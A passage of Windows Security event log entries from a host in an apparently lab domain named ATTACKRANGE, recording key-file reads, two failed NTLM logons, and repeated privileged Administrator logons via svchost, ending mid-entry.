03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245279
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245278
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245277
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245276
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245275
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:37:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245274
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x718C5

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:37:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4625
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245285
Keywords=Audit Failure
Message=An account failed to log on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Type:			3

Account For Which Logon Failed:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Failure Information:
	Failure Reason:		Unknown user name or bad password.
	Status:			0xC000006D
	Sub Status:		0xC000006A

Process Information:
	Caller Process ID:	0x0
	Caller Process Name:	-

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon request fails. It is generated on the computer where access was attempted.

The Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).

The Process Information fields indicate which account and process on the system requested the logon.

The Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The authentication information fields provide detailed information about this specific logon request.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4625
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245284
Keywords=Audit Failure
Message=An account failed to log on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Type:			3

Account For Which Logon Failed:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Failure Information:
	Failure Reason:		Unknown user name or bad password.
	Status:			0xC000006D
	Sub Status:		0xC000006A

Process Information:
	Caller Process ID:	0x0
	Caller Process Name:	-

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon request fails. It is generated on the computer where access was attempted.

The Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).

The Process Information fields indicate which account and process on the system requested the logon.

The Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The authentication information fields provide detailed information about this specific logon request.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245303
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8CC57

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245302
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8CC57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245301
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245300
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245299
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245298
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8C315

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245297
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8C315
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245296
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245295
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245294
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8B397

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245293
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8B397
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245292
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245291
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245290
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245289
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8A1A7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245288
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8A1A7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245287
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245286
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245359
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x94ABC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245358
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x94ABC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245357
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245356
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
